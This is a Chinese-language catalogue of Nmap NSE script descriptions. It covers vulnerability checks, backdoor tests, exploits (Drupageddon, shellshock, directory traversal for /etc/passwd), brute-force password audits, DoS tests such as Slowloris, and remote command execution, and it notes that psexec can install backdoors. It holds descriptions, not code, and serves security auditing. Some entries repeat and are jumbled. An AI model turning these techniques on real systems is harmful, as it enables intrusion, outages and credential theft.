检查 FTPd 是否容易出现 CVE-2010-1938(OPIE 堆栈溢出),这是由 Maksymilian Arciemowicz 和 Adam "pi3" Zabrocki 发现的漏洞。请参阅https://nmap.org/r/fbsd-sa-opie上的建议。请注意,如果针对易受攻击的主机启动,此脚本将使 FTPd 崩溃。
测试报告为 BID 45150 的 ProFTPD 1.3.3c 后门是否存在。 id
默认情况下,此脚本尝试使用无害命令来利用后门,但可以使用 ftp-proftpd-backdoor.cmd
脚本参数进行更改。
对 2011 年 7 月 4 日报告的 vsFTPd 2.3.4 后门存在的测试 (CVE-2011-2523)。默认情况下,此脚本尝试使用 innocuousid
命令利用后门,但可以使用exploit.cmd
orftp-vsftpd-backdoor.cmd
脚本参数进行更改。
检查 ProFTPD 服务器中基于堆栈的缓冲区溢出,版本介于 1.3.2rc3 和 1.3.3b 之间。通过发送大量 TELNET_IAC 转义序列,proftpd 进程会错误计算缓冲区长度,远程攻击者将能够破坏堆栈并在 proftpd 进程的上下文中执行任意代码 (CVE-2010-4221)。利用此漏洞不需要身份验证。
利用 Awstats Totals 1.0 至 1.14 以及可能基于它的其他产品中的远程代码执行漏洞 (CVE: 2008-3922)。
xsd
通过向参数(BID 40343) 发送特制请求来利用 Apache Axis2 版本 1.4.1 中的目录遍历漏洞。默认情况下,它将尝试使用返回管理员帐户的用户名和密码的'/conf/axis2.xml'
路径 来检索 Axis2 服务的配置文件。'/axis2/services/'
尝试使用 http://seclists.org/fulldisclosure/2010/Oct/119中描述的目录遍历漏洞从梭子鱼网络垃圾邮件和病毒防火墙设备检索配置设置。
针对 http basic、digest 和 ntlm 身份验证执行暴力密码审计。
衡量网站交付网页所需的时间,并返回获取页面所需的最大、最小和平均时间。
检查常见内容管理系统和 Web 服务器配置文件的备份和交换文件。
此脚本检测跨站点请求伪造 (CSRF) 漏洞。
使用各种 Web 应用程序和设备使用的默认凭据进行访问测试。
它查找 DOM 中攻击者控制的信息可能被用于以某些方式影响 JavaScript 执行的地方。攻击在这里解释: http ://www.webappsec.org/projects/articles/071105.shtml
尝试枚举所有经过身份验证的用户(默认情况下)都可以访问的散列 Domino Internet 密码。此脚本还可以下载附加到个人文档的任何 Domino ID 文件。密码以适合在 John the Ripper 中运行的形式呈现。
使用已知模块和主题列表枚举已安装的 Drupal 模块/主题。
通过利用 Drupal 最受欢迎的模块 Views 中的信息泄露漏洞枚举 Drupal 用户。
枚举流行的 Web 应用程序和服务器使用的目录。
此脚本会爬取网站并返回任何错误页面。
爬取网站的图像,寻找嵌入在 .jpg 文件中的有趣的 exif 数据。显示相机的品牌和型号、照片拍摄日期以及嵌入的地理标签信息。
该脚本会爬取网站以查找任何 rss 或 atom 提要。
使用各种技术(例如更改 Content-type 标头或创建包含评论中有效负载的有效图像文件)在 Web 应用程序中利用不安全的文件上传表单。
针对基于 http 表单的身份验证执行暴力密码审计。
对网站上找到的表单执行简单的表单模糊测试。尝试增加长度的字符串和数字,并尝试确定模糊测试是否成功。
尝试暴力破解易受攻击的 IIS 服务器根文件夹中的文件和目录的 8.3 文件名(通常称为短名称)。此脚本是 PoC“iis 短名称扫描器”的实现。
检查 IIS 5.1/6.0 中的漏洞,该漏洞允许任意用户通过搜索受密码保护的文件夹并尝试访问它来访问受保护的 WebDAV 文件夹。此漏洞已在 Microsoft 安全公告 MS09-020、https: //nmap.org/r/ms09-020 中修复。
针对 Joomla Web CMS 安装执行暴力密码审计。
利用 4.0.15 之前的 Litespeed Web Servers 4.0.x 中的空字节中毒漏洞,通过发送带有空字节后跟 .txt 文件扩展名的 HTTP 请求来检索目标脚本的源代码 (CVE-2010-2333)。
利用 Majordomo2 中存在的目录遍历漏洞来检索远程文件。(CVE-2011-0049)。
爬取网站并尝试识别开放重定向。开放式重定向是通常将 URL 作为参数并以 HTTP 重定向 (3XX) 响应目标的处理程序。http://cwe.mitre.org/data/definitions/601.html中描述了开放重定向的风险。
通过尝试检索/etc/passwd
或检查 Web 服务器是否容易受到目录遍历的影响\boot.ini
。
爬取 Web 服务器并尝试通过 变量 查找易受反射跨站点脚本攻击的 PHP 文件$_SERVER["PHP_SELF"]
。
对 HTTP 代理服务器执行暴力密码猜测。
使用 HTTP PUT 方法将本地文件上传到远程 Web 服务器。您必须使用 NSE 参数指定文件名和 URL 路径。
爬取网络服务器以搜索 RFI(远程文件包含)漏洞。它测试它找到的每个表单字段以及包含查询的 URL 的每个参数。
尝试利用 Web 应用程序中的“shellshock”漏洞(CVE-2014-6271 和 CVE-2014-7169)。
爬取 Web 服务器并显示其目录结构以及每个文件夹中文件的数量和类型。请注意,列为具有“其他”扩展名的文件是没有扩展名或根文档的文件。
通过启动 Slowloris 攻击来测试 Web 服务器是否存在 Slowloris DoS 攻击的漏洞。
蜘蛛 HTTP 服务器寻找包含易受 SQL 注入攻击的查询的 URL。它还从找到的网站中提取表单并尝试识别易受攻击的字段。
未过滤的“>”(大于符号)。潜在 XSS 漏洞的指示。
爬取网站并尝试识别内容被反射回用户的输出转义问题。此脚本定位所有参数 ?x=foo&y=bar 并检查这些值是否反映在页面上。如果它们确实被反射,脚本将尝试插入 ghz>hzx"zxc'xcv 并检查哪些(如果有)字符在没有正确 html 转义的情况下被反射回页面。这表明存在潜在的 XSS 漏洞。
尝试在启用了 mod_userdir 模块或类似模块的 Web 服务器上枚举有效用户名。
通过使用通用主机名对 http 服务器发出大量 HEAD 请求来搜索 Web 虚拟主机名。
利用 Webmin 中的文件泄露漏洞 (CVE-2006-3392)
利用 cve-2009-3960 也称为 Adobe XML 外部实体注入。
对 ColdFusion 服务器执行目录遍历攻击,并尝试获取管理员用户的密码哈希。然后它使用盐值(隐藏在网页中)创建 Web 服务器作为管理员身份验证所需的 SHA1 HMAC 哈希。您可以以管理员身份将此值传递给 ColdFusion 服务器,而无需破解密码哈希。
在 Apache HTTP 服务器的反向代理模式下测试 CVE-2011-3368(反向代理绕过)漏洞。该脚本将运行 3 个测试:
- 环回测试,使用 3 个有效负载来处理不同的重写规则
- 内部主机测试。根据 Contextis,我们预计在服务器错误之前会有延迟。
- 外部网站测试。这并不意味着您可以访问 LAN ip,但无论如何这是一个相关问题。
检测易受 CVE-2012-1823 攻击的 PHP-CGI 安装,此严重漏洞允许攻击者检索源代码并远程执行代码。
rubina119 于 2013 年 12 月 6 日发布了一个 0 day,并在 Zimbra 7.2.6 中进行了修补。
利用在 Drupal 中也称为“Drupageddon”的 CVE-2014-3704。已知小于 7.32 的 Drupal 核心版本会受到影响。
利用 Wordpress CM 下载管理器插件中的远程代码注入漏洞 (CVE-2014-8877)。已知版本 <= 2.0.0 会受到影响。
此脚本尝试检测漏洞 CVE-2015-1427,该漏洞允许攻击者利用此 API 的功能来获得未经身份验证的远程代码执行 (RCE)。
一个影响 Joomla! 的 SQL 注入漏洞!3.7.1 之前的 3.7.x 允许未经身份验证的用户执行任意 SQL 命令。此漏洞是由com_fields
3.7 版中引入的新组件引起的。该组件是可公开访问的,这意味着任何访问该站点的恶意个人都可以利用该组件。
通过安全利用来检测 RomPager 4.07 Misfortune Cookie 漏洞。
在 WNR 1000 系列中发现了一个漏洞,允许攻击者使用路由器接口检索管理员凭据。在固件版本上测试:V1.0.2.60_60.0.86(最新)和 V1.0.2.54_60.0.82NA
尝试通过使用恶意负载探测 Web 服务器并检测响应代码和正文的变化来确定 Web 服务器是否受到 IPS(入侵防御系统)、IDS(入侵检测系统)或 WAF(Web 应用程序防火墙)的保护。
尝试检测 Web 应用程序防火墙的存在及其类型和版本。
针对 Wordpress CMS/博客安装执行暴力密码审计。
枚举 Wordpress 安装的主题和插件。该脚本还可以通过将版本号与从 api.wordpress.org 提取的信息进行比较来检测过时的插件。
通过利用版本 2.6、3.1、3.1.1、3.1.3 和 3.2-beta2 以及可能的其他版本中存在的信息泄露漏洞枚举 Wordpress 博客/CMS 安装中的用户名。
针对 Asterisk IAX2 协议执行暴力密码审计。由于 maxcallnumber 限制(默认为 2048)而进行大量尝试时,猜测会失败。如果您在一段时间后收到“错误:重试次数过多,已中止......”,这很可能是正在发生的事情。为了避免这个问题,请尝试: - 减少字典的大小 - 使用蛮力延迟选项在猜测之间引入延迟 - 将猜测分成块并在它们之间等待一段时间
尝试识别 IEC 60870-5-104 ICS 协议。
使用 LOGIN、PLAIN、CRAM-MD5、DIGEST-MD5 或 NTLM 身份验证对 IMAP 服务器执行暴力密码审计。
测试是否存在 LibreOffice Impress Remote 服务器。如果提供了 PIN,则检查 PIN 是否有效,并在请求时强制使用 PIN。
针对 IBM Informix Dynamic Server 执行暴力密码审计。
使用给定的身份验证凭证对 IBM Informix Dynamic Server 运行查询(另请参阅:informix-brute)。
检索 Informix 服务器上每个数据库的表和列定义列表。
对 IPMI RPC 服务器执行暴力密码审计。
使用随机源 MAC 地址和 IPv6 前缀生成大量路由器广告 (RA)。默认启用无状态自动配置的计算机(每个主要操作系统)将开始计算 IPv6 后缀并更新其路由表以反映接受的公告。这将导致 Windows 和平台上 100% 的 CPU 使用率,阻止处理其他应用程序请求。
对 IRC(Internet 中继聊天)服务器执行暴力密码审计。
对支持 SASL 身份验证的 IRC(Internet 中继聊天)服务器执行暴力密码审计。
通过运行基于时间的命令 (ping) 并检查响应所需的时间来检查 IRC 服务器是否被后门。
针对 iSCSI 目标执行暴力密码审计。
尝试利用 java 的远程调试端口。远程调试端口打开时,可以注入java字节码,实现远程代码执行。该脚本滥用它来注入和执行一个 Java 类文件,该文件执行提供的 shell 命令并返回其输出。
尝试利用 java 的远程调试端口。远程调试端口打开时,可以注入java字节码,实现远程代码执行。该脚本允许注入任意类文件。
通过针对 Kerberos 服务的暴力查询可能的用户名来发现有效的用户名。当请求无效的用户名时,服务器将使用 Kerberos 错误代码 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN 进行响应,从而允许我们确定用户名无效。有效的用户名将非法 AS-REP 响应中的 TGT 或错误 KRB5KDC_ERR_PREAUTH_REQUIRED,表明用户需要执行预身份验证。
尝试暴力破解 LDAP 身份验证。默认情况下,它使用内置的用户名和密码列表。为了使用您自己的列表,请使用userdb
和passdb
script 参数。
尝试枚举 TN3270E 服务器的逻辑单元 (LU)。
对 Couchbase Membase 服务器执行暴力密码审计。
从 Metasploit rpc 服务收集信息。它需要一个有效的登录对。身份验证后,它会尝试确定 Metasploit 版本并推断操作系统类型。然后它会创建一个新的控制台并执行一些命令来获取更多信息。
针对 Metasploit msgrpc 接口执行暴力用户名和密码审计。
使用 XMLRPC 协议对 Metasploit RPC 服务器执行暴力密码审计。
在启用 API RouterOS 接口的情况下,对 Mikrotik RouterOS 设备执行暴力密码审计。
对 RPA Tech 移动鼠标服务器执行暴力密码审计。
连接到 RPA Tech 移动鼠标服务器,启动应用程序并向其发送一系列按键。用户有权访问的任何应用程序都可以启动,并在启动后将键序列发送到应用程序。
枚举 SCADA Modbus 从站 ID (sids) 并收集其设备信息。
对 MongoDB 数据库执行暴力密码审计。
对 Microsoft SQL Server (ms-sql) 执行密码猜测。与broadcast-ms-sql-discover
脚本结合使用效果最佳。
尝试使用 sysadmin (sa) 帐户的空密码向 Microsoft SQL Server 进行身份验证。
尝试使用 Microsoft SQL Server (ms-sql) 的命令外壳运行命令。
对 MySQL 执行密码猜测。
尝试列出 MySQL 服务器上的所有数据库。
root
使用或 的空密码检查 MySQL 服务器anonymous
。
使用 Kingcope ( http://seclists.org/fulldisclosure/2012/Dec/9 ) 发现和发布的错误对 MySQL 服务器执行有效用户枚举。
尝试列出 MySQL 服务器上的所有用户。
尝试显示 MySQL 服务器上的所有变量。
显示来自 NBD 服务器的协议和块设备信息。
使用 NTP 1.2 协议对 Nessus 漏洞扫描守护进程执行暴力密码审计。
使用 XMLRPC 协议对 Nessus 漏洞扫描守护程序执行暴力密码审计。
针对 Netbus 后门(“远程管理”)服务执行暴力密码审计。
使用 API 1.1 对 Nexpose 漏洞扫描程序执行暴力密码审计。
z/OS JES 网络作业条目 (NJE) 目标节点名称蛮力。
z/OS JES 网络作业条目 (NJE) “我记录”密码暴力破解。
针对 Nping Echo 服务执行暴力密码审计。
查询 Nagios Remote Plugin Executor (NRPE) 守护程序以获取负载平均值、进程计数、登录用户信息等信息。
获取并打印 NTP 服务器的监控数据。
使用 OMPv2 对 OpenVAS 管理器执行暴力密码审计。
使用 OTP 1.0 协议对 OpenVAS 漏洞扫描程序守护进程执行暴力密码审计。
对 Oracle 服务器执行暴力密码审计。
利用 CVE-2012-3137 漏洞,这是 Oracle 的 O5LOGIN 身份验证方案中的一个弱点。该漏洞存在于 Oracle 11g R1/R2 中,允许将会话密钥链接到密码哈希。当以有效用户身份启动身份验证尝试时,服务器将使用会话密钥和盐进行响应。一旦收到脚本将断开连接,从而不记录登录尝试。然后可以使用会话密钥和盐来暴力破解用户密码。
尝试针对未修补的 Oracle 11g 服务器枚举有效的 Oracle 用户名(此错误已在 Oracle 2009 年 10 月的重要补丁更新中修复)。
根据 TNS 侦听器猜测 Oracle 实例/SID 名称。
针对 pcAnywhere 远程访问协议执行暴力密码审计。
对 PostgreSQL 执行密码猜测。
在支持打印机作业语言的打印机上检索或设置就绪消息。这包括大多数侦听端口 9100 的 PostScript 打印机。如果没有参数,则显示当前的就绪消息。使用 pjl_ready_message
脚本参数,显示旧的就绪消息并将其更改为给定的消息。
尝试通过猜测用户名和密码来登录 POP3 帐户。
检测是否在 Puppet 服务器上启用了朴素签名。这使攻击者能够创建任何证书签名请求并对其进行签名,从而允许他们冒充为傀儡代理。这可能会泄露代理的配置以及配置文件中的任何其他敏感信息。
尝试识别正在侦听的 QNX QCONN 守护程序是否允许未经身份验证的用户执行任意操作系统命令。
检查机器是否容易受到 MS12-020 RDP 漏洞的攻击。
针对 Redis 键值存储执行暴力密码审计。
对经典的 UNIX rexec(远程执行)服务执行暴力密码审计。
针对经典的 UNIX rlogin(远程登录)服务执行暴力密码审计。此脚本必须在 UNIX 上以特权模式运行,因为它必须绑定到低源端口号。
测试 Java rmiregistry 是否允许加载类。rmiregistry 的默认配置允许从远程 URL 加载类,这可能导致远程代码执行。供应商(Oracle/Sun)将此归类为设计特性。
针对 WinPcap 远程捕获守护程序 (rpcap) 执行暴力密码审计。
针对 rsync 远程文件同步协议执行暴力密码审计。
尝试通过测试监控 IP 摄像机等设备上的常见路径来枚举 RTSP 媒体 URL。
检查目标机器是否容易受到 Samba 堆溢出漏洞 CVE-2012-1182 的攻击。
针对会话发起协议 (SIP) 帐户执行暴力密码审计。该协议最常与 VoIP 会话相关联。
欺骗对 SIP 电话的呼叫并检测目标采取的操作(忙、拒绝、挂断等)
枚举 SIP 服务器的有效分机(用户)。
尝试通过 SMB 猜测用户名/密码组合,存储发现的组合以用于其他脚本。将尽一切努力获取有效的用户列表并在实际使用之前验证每个用户名。当一个用户名被发现时,除了被打印出来,它还被保存在 Nmap 注册表中,以便其他 Nmap 脚本可以使用它。这意味着如果你要运行smb-brute.nse
,你应该运行smb
你想要的其他脚本。对于 Vista 之前的 Windows 版本,这会以不区分大小写的方式检查密码,在找到密码后确定大小写。
尝试枚举系统上的域及其策略。这通常需要凭据,Windows 2000 除外。除了实际域外,通常还会显示“内置”域。Windows 在域列表中返回它,但它的策略似乎没有在任何地方使用。
从远程 Windows 系统获取组列表,以及组的用户列表。enum.exe
这与/G
开关类似。
通过 SMB 从远程服务器拉取进程列表。这将确定所有正在运行的进程、它们的进程 ID 和它们的父进程。它是通过查询远程注册表服务来完成的,在 Vista 上默认禁用该服务;在所有其他 Windows 版本上,它需要管理员权限。
检索在远程 Windows 系统上运行的服务列表。每个服务属性包含每个服务的服务名称、显示名称和服务状态。
枚举本地或通过 SMB 共享登录到系统的用户。本地用户可以在机器上物理登录,也可以通过终端服务会话登录。例如,与 SMB 共享的连接是连接到文件共享或进行 RPC 调用的人。Nmap 的连接也会显示出来,一般由“0 秒前”连接的那个来识别。
尝试使用srvsvc.NetShareEnumAll
MSRPC 函数列出共享并使用srvsvc.NetShareGetInfo
. 如果拒绝访问这些功能,则会检查常用共享名称列表。
尝试通过两种不同的技术(均通过使用端口 445 或 139 的 MSRPC;请参阅 参考资料)枚举远程 Windows 系统上的用户,并提供尽可能多的信息smb.lua
。此脚本的目标是发现远程系统上存在的所有用户帐户。这有助于管理,通过查看谁在服务器上拥有帐户,或通过确定系统上存在哪些帐户来进行渗透测试或网络足迹。
通过打开尽可能多的连接来耗尽远程 SMB 服务器的连接限制。大多数 SMB 实现对用户帐户有 11 个连接和匿名连接 10 个的硬性全局限制。一旦达到该限制,将拒绝进一步的连接。该脚本通过占用所有连接并保持它们来利用该限制。
尝试通过调用 Print Spooler Service RPC 函数在共享打印机上打印文本。
实现类似于 Sysinternals 的 psexec 工具的远程进程执行,允许用户在远程机器上运行一系列程序并读取输出。这非常适合收集有关服务器的信息、在一系列系统上运行相同的工具,甚至在一组计算机上安装后门。
尝试通过使用 TCP 端口 445 或 139 的 SMB 和 MSRPC 获取服务器的统计信息。
从注册表中拉回有关远程系统的信息。获取所有信息需要一个管理帐户,尽管用户帐户仍然可以获得很多信息。客人可能不会得到任何,也不会匿名。这适用于所有操作系统,包括 Windows 2000。
检测受Conficker 蠕虫感染的Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
检查目标机器是否容易受到任意共享库加载漏洞 CVE-2017-7494 的攻击。
检测易受拒绝服务攻击的 Microsoft Windows 系统 (CVE-2009-3103)。如果该脚本易受攻击,该脚本将使该服务崩溃。
检测带有易受 MS06-025 攻击的 Ras RPC 服务的 Microsoft Windows 系统。
检测带有易受 MS07-029 攻击的 Dns Server RPC 的 Microsoft Windows 系统。
检测易受称为 MS08-067 的远程代码执行漏洞的 Microsoft Windows 系统。此检查很危险,可能会导致系统崩溃。
测试目标机器是否容易受到 ms10-054 SMB 远程内存损坏漏洞的攻击。
测试目标机器是否容易受到 ms10-061 Printer Spooler 模拟漏洞的攻击。
检查 Microsoft Windows 2000 系统是否容易受到由空指针取消引用导致的 regsvc 崩溃的影响。如果服务易受攻击并且需要访客帐户或更高版本才能工作,此检查将使服务崩溃。
WebExService (WebExec) 中存在一个严重的远程代码执行漏洞。
尝试使用 WebExec 漏洞通过 WebExService 运行命令。给定一个 Windows 帐户(本地或域),这将启动一个具有 SMB 协议的 SYSTEM 权限的任意可执行文件。
使用 LOGIN、PLAIN、CRAM-MD5、DIGEST-MD5 或 NTLM 身份验证对 SMTP 服务器执行暴力密码审计。
尝试通过发出 VRFY、EXPN 或 RCPT TO 命令枚举 SMTP 服务器上的用户。此脚本的目标是发现远程系统中的所有用户帐户。
尝试通过发出预定义的 SMTP 命令组合来中继邮件。此脚本的目的是判断 SMTP 服务器是否容易受到邮件中继的攻击。
检查和/或利用 Exim 4.69 之前的版本 (CVE-2010-4344) 中的堆溢出以及 Exim 4.72 和之前的版本 (CVE-2010-4345) 中的权限提升漏洞。
检查 Postfix SMTP 服务器在使用 Cyrus SASL 库身份验证机制时是否存在内存损坏 (CVE-2011-1720)。此漏洞可能允许拒绝服务和可能的远程代码执行。
检查 Exim SMTP 服务器(版本 4.70 到 4.75)中的格式字符串漏洞,支持 DomainKeys Identified Mail (DKIM) (CVE-2011-1764)。在记录 DKIM-Signature 标头字段的某些部分时,DKIM 记录机制未使用格式字符串说明符。能够发送电子邮件的远程攻击者可以利用此漏洞并以 Exim 守护程序的权限执行任意代码。
检查本地以太网上的目标是否有其网卡处于混杂模式。
尝试通过暴力猜测来查找 SNMP 社区字符串。
尝试使用 SNMP RW (v1) 下载 Cisco 路由器 IOS 配置文件并显示或保存它们。
对 SOCKS 5 代理服务器执行暴力密码审计。
返回 SSH 服务器支持的身份验证方法。
对 ssh 服务器执行暴力密码猜测。
此脚本获取私钥、密码和用户名的路径表,并检查每一对以查看目标 ssh 服务器是否接受它们进行公钥身份验证。如果没有给出密钥或给出 known-bad 选项,脚本将检查是否接受已知静态公钥列表进行身份验证。
在 ssh 服务器上运行远程命令并返回命令输出。
此脚本重复启动 SSLv3/TLS 连接,每次尝试新的密码或压缩器,同时记录主机是否接受或拒绝它。最终结果是服务器接受的所有密码套件和压缩器的列表。
确定服务器是否支持 SSLv2、它支持的密码并测试 CVE-2015-3197、CVE-2016-0703 和 CVE-2016-0800 (DROWN)
检测主机是否感染了 Stuxnet 蠕虫 ( http://en.wikipedia.org/wiki/Stuxnet )。
对 Subversion 源代码控制服务器执行暴力密码审计。
对 telnet 服务器执行暴力密码审计。
通过测试常见文件名列表来枚举 TFTP(普通文件传输协议)文件名。
TSO 帐户暴力破解。
IBM 大型机 (z/OS) 的 TSO 用户 ID 枚举器。TSO 登录面板通过以下消息告诉您用户 ID 何时有效或无效: IKJ56420I Userid <user ID> not authorized to use TSO
。
针对 VMWare 身份验证守护进程 (vmware-authd) 执行暴力密码审计。
对 VNC 服务器执行暴力密码审计。
尝试登录 VNC 服务器并获取其桌面名称。使用 vnc-brute 发现的凭据,或无身份验证类型。如果 realvnc-auth-bypass
运行并返回 VULNERABLE,此脚本将使用该漏洞绕过身份验证。
许多大型机使用 VTAM 屏幕连接到各种应用程序(CICS、IMS、TSO 等等)。
针对 XMPP (Jabber) 即时消息服务器执行暴力密码审计。
检查欺骗其回复的 identd (auth) 服务器。
通过查询 ZTDNS@abuse.ch 检查目标 IP 范围是否是 Zeus 僵尸网络的一部分。在开始扫描之前,请查看以下信息:
测试报告为 BID 45150 的 ProFTPD 1.3.3c 后门是否存在。 id
默认情况下,此脚本尝试使用无害命令来利用后门,但可以使用 ftp-proftpd-backdoor.cmd
脚本参数进行更改。
对 2011 年 7 月 4 日报告的 vsFTPd 2.3.4 后门存在的测试 (CVE-2011-2523)。默认情况下,此脚本尝试使用 innocuousid
命令利用后门,但可以使用exploit.cmd
orftp-vsftpd-backdoor.cmd
脚本参数进行更改。
检查主机是否在 Google 的可疑恶意软件和网络钓鱼服务器黑名单中。这些列表会不断更新,并且是 Google 安全浏览服务的一部分。
寻找已知服务器妥协的签名。
检查文件是否已被 Virustotal 确定为恶意软件。Virustotal 是一项服务,它提供了扫描文件或针对许多主要防病毒供应商检查校验和的功能。该脚本使用公共 API,该 API 需要有效的 API 密钥,并且每分钟限制为 4 次查询。可以通过在virustotal网页上注册为用户来获取密钥:
通过运行基于时间的命令 (ping) 并检查响应所需的时间来检查 IRC 服务器是否被后门。
检查目标机器是否正在运行 Double Pulsar SMB 后门。
检查 SMTP 是否在非标准端口上运行。
从侦听的 acarsd 守护进程中检索信息。Acarsd 实时解码 ACARS(飞机通信寻址和报告系统)数据。此脚本检索的信息包括守护程序版本、API 版本、管理员电子邮件地址和收听频率。
显示有关 IPv6 地址的额外信息,例如可用的嵌入式 MAC 或 IPv4 地址。
尝试从 AFP 卷中获取有关文件的有用信息。输出旨在类似于ls
.
显示 AFP 服务器信息。此信息包括服务器的主机名、IPv4 和 IPv6 地址以及硬件类型(例如 Macmini
或MacBookPro
)。
显示 AFP 共享和 ACL。
检索需要身份验证的 AJP 服务(Apache JServ 协议)的身份验证方案和领域。
对 Apache JServ 协议服务器的根目录或任何可选目录执行 HEAD 或 GET 请求,并返回服务器响应标头。
通过发送 OPTIONS 请求来发现 AJP(Apache JServ 协议)服务器支持哪些选项并列出可能存在风险的方法。
通过 Apache JServ 协议请求 URI 并显示结果(或将其存储在文件中)。不同的 AJP 方法,例如;可以使用 GET、HEAD、TRACE、PUT 或 DELETE。
检测 All-Seeing Eye 服务。部分游戏服务器提供,用于查询服务器状态。
从 AMQP(高级消息队列协议)服务器收集信息(所有服务器属性的列表)。
将 IP 地址映射到自治系统 (AS) 编号。
尝试通过查询在目标系统上也必须打开的身份验证守护程序来查找打开的 TCP 端口的所有者。auth 服务,也称为 identd,通常在端口 113 上运行。
检查欺骗其回复的 identd (auth) 服务器。
连接到 BackOrifice 服务并收集有关主机和 BackOrifice 服务本身的信息。
一个简单的横幅抓取器,它连接到一个开放的 TCP 端口并在五秒内打印出侦听服务发送的任何内容。
查询比特币服务器以获取已知比特币节点的列表
从比特币服务器中提取版本和节点信息
getinfo
通过调用其 JSON-RPC 接口 从比特币服务器获取信息。
发现基于用户提供的 torrent 文件或磁力链接共享文件的 bittorrent 对等方。对等点实现 Bittorrent 协议并共享种子,而节点(仅在给出 include-nodes NSE 参数时显示)实现 DHT 协议并用于跟踪对等点。对等点和节点的集合不相同,但它们通常相交。
从支持 BJNP 协议的远程设备检索打印机或扫描仪信息。已知基于网络的佳能设备支持该协议。
发现支持 ATA over Ethernet 协议的服务器。ATA over Ethernet 是 Brantley Coile 公司开发的以太网协议,允许通过以太网对 SATA 驱动器进行简单、高性能的访问。
尝试通过向与协议关联的两个端口的网络广播地址发送 BJNP Discover 请求来发现支持 BJNP 协议的 Canon 设备(打印机/扫描仪)。
尝试通过向端口 523/udp 发送广播请求来发现网络上的 DB2 服务器。
向广播地址 (255.255.255.255) 发送 DHCP 请求并报告结果。默认情况下,该脚本使用静态 MAC 地址 (DE:AD:CO:DE:CA:FE) 以防止 IP 池耗尽。
向 DHCPv6 多播地址发送 DHCPv6 请求(Solicit),解析响应,然后提取并打印地址以及服务器返回的任何选项。
尝试使用 DNS 服务发现协议发现主机的服务。它发送多播 DNS-SD 查询并收集所有响应。
侦听 Dropbox.com 客户端每 20 秒广播一次的 LAN 同步信息广播,然后打印所有发现的客户端 IP 地址、端口号、版本号、显示名称等。
通过思科的增强型内部网关路由协议 (EIGRP) 执行网络发现和路由信息收集。
通过发送发现的网络广播探测来发现 LAN 上的 HID 设备。
发现具有 IGMP 多播成员资格的目标并获取有趣的信息。
通过发送发现广播探测来发现 LAN 上的 Jenkins 服务器。
嗅探网络以获取传入的广播通信并尝试解码接收到的数据包。它支持 CDP、HSRP、Spotify、DropBox、DHCP、ARP 等协议。有关更多信息,请参见 packetdecoders.lua。
发现同一广播域中的 Microsoft SQL 服务器。
尝试发现主浏览器及其管理的域。
通过发送网络广播查询发现 LAN 上的 EMC Networker 备份软件服务器。
尝试使用服务定位协议来发现 Novell NetWare 核心协议 (NCP) 服务器。
使用开放最短路径优先版本 2 (OSPFv2) 协议发现 IPv4 网络。
发送特殊的广播探测以发现 LAN 上运行的 PC-Anywhere 主机。
通过发送特殊的广播 UDP 探测来发现在 LAN 上运行的 PC-DUO 远程控制主机和网关。
发现正在运行 PIM(协议独立多播)的路由器。
使用原始以太网数据包在选定接口上发送广播 ping,并输出响应主机的 IP 和 MAC 地址,或者(如果请求)将它们添加为目标。运行此脚本需要 UNIX 上的根权限,因为它使用原始套接字。大多数操作系统不会响应广播 ping 探测,但可以将它们配置为这样做。
使用 PPPoE 发现协议 (PPPoED) 发现 PPPoE(以太网点对点协议)服务器。PPPoE 是基于以太网的协议,因此脚本必须知道使用哪个以太网接口进行发现。如果未指定接口,则在所有可用接口上发送请求。
从 LAN 上运行 RIPv2 的设备中发现主机和路由信息。它通过发送 RIPv2 请求命令并收集所有响应请求的设备的响应来实现这一点。
通过发送广播 RIPng 请求命令并收集任何响应,从 LAN 上运行 RIPng 的设备发现主机和路由信息。
使用与制造商拥有的“SetupTool”相同的方法发现直接连接(未路由)的 Sonicwall 防火墙。需要配置接口,因为脚本会广播 UDP 数据包。
通过发送广播发现消息来发现 LAN 上的 Sybase Anywhere 服务器。
发现 LAN 上的 Telldus Technologies TellStickNet 设备。Telldus TellStick 用于无线控制电灯、调光器和电源插座等电子设备。欲了解更多信息:http ://www.telldus.com/
尝试通过发送多播查询,然后收集、解析和显示所有响应来从 UPnP 服务中提取系统信息。
使用广播 srvloc 协议发现 Versant 对象数据库。
通过发送 Wake-On-Lan 数据包将远程系统从睡眠中唤醒。
使用 Web 代理自动发现协议 (WPAD) 检索 LAN 上的代理服务器列表。它同时实现了 DHCP 和 DNS 方法,并首先查询 DHCP 以获取地址。DHCP 发现要求 nmap 在特权模式下运行,如果不是这种情况,将被跳过。DNS 发现依赖于脚本能够通过脚本参数或尝试反向解析本地 IP 来解析本地域。
使用多播查询来发现支持 Web 服务动态发现 (WS-Discovery) 协议的设备。它还尝试查找任何已发布的 Windows Communication Framework (WCF) Web 服务(.NET 4.0 或更高版本)。
通过向 LAN 发送 XDMCP 广播请求来发现运行 X 显示管理器控制协议 (XDMCP) 的服务器。允许访问的显示管理器在结果中使用关键字 Willing 进行标记。
尝试从 Cassandra 数据库获取基本信息和服务器状态。
使用 CICS 事务 CEMT,此脚本尝试收集有关当前 CICS 事务服务器区域的信息。它收集操作系统信息、数据集(文件)、事务和用户 ID。基于 Ayoub ELAASSAL 的 CICSpwn 脚本。
从 ICA 浏览器服务中提取已发布应用程序的列表。
从 Citrix XML 服务中提取应用程序、ACL 和设置的列表。
从 ICA Browser 服务中提取 Citrix 服务器的列表。
从 Citrix XML 服务中提取服务器场和成员服务器的名称。
分析扫描器和报告时间戳的各种服务之间的时钟偏差。
从 CoAP 端点转储可用资源列表。
从 CouchDB 数据库中获取数据库表。
从 CouchDB 数据库获取数据库统计信息。
在扫描结束时列出所有发现的凭据(例如,来自暴力破解和默认密码检查脚本)。
列出由 CUPS 打印服务管理的打印机。
列出按打印机分组的远程 CUPS 服务的当前排队打印作业。
从 DAAP 服务器检索音乐列表。该列表包括艺术家姓名以及专辑和歌曲名称。
从 Daytime 服务中检索日期和时间。
在 TCP 或 UDP 端口 523 上连接到 IBM DB2 管理服务器 (DAS) 并导出服务器配置文件。此请求不需要身份验证。
向 UDP 端口 67 上的主机发送 DHCPINFORM 请求,以获取所有本地配置参数,而无需分配新地址。
尝试通过部分 C-ECHO 请求发现 DICOM 服务器(DICOM 服务提供者)。它还检测服务器是否允许任何调用的应用程序实体标题。
使用 DICT 协议连接到字典服务器,运行 SHOW SERVER 命令并显示结果。DICT 协议在 RFC 2229 中定义,该协议允许客户端从一组自然语言词典数据库中查询词典服务器的定义。
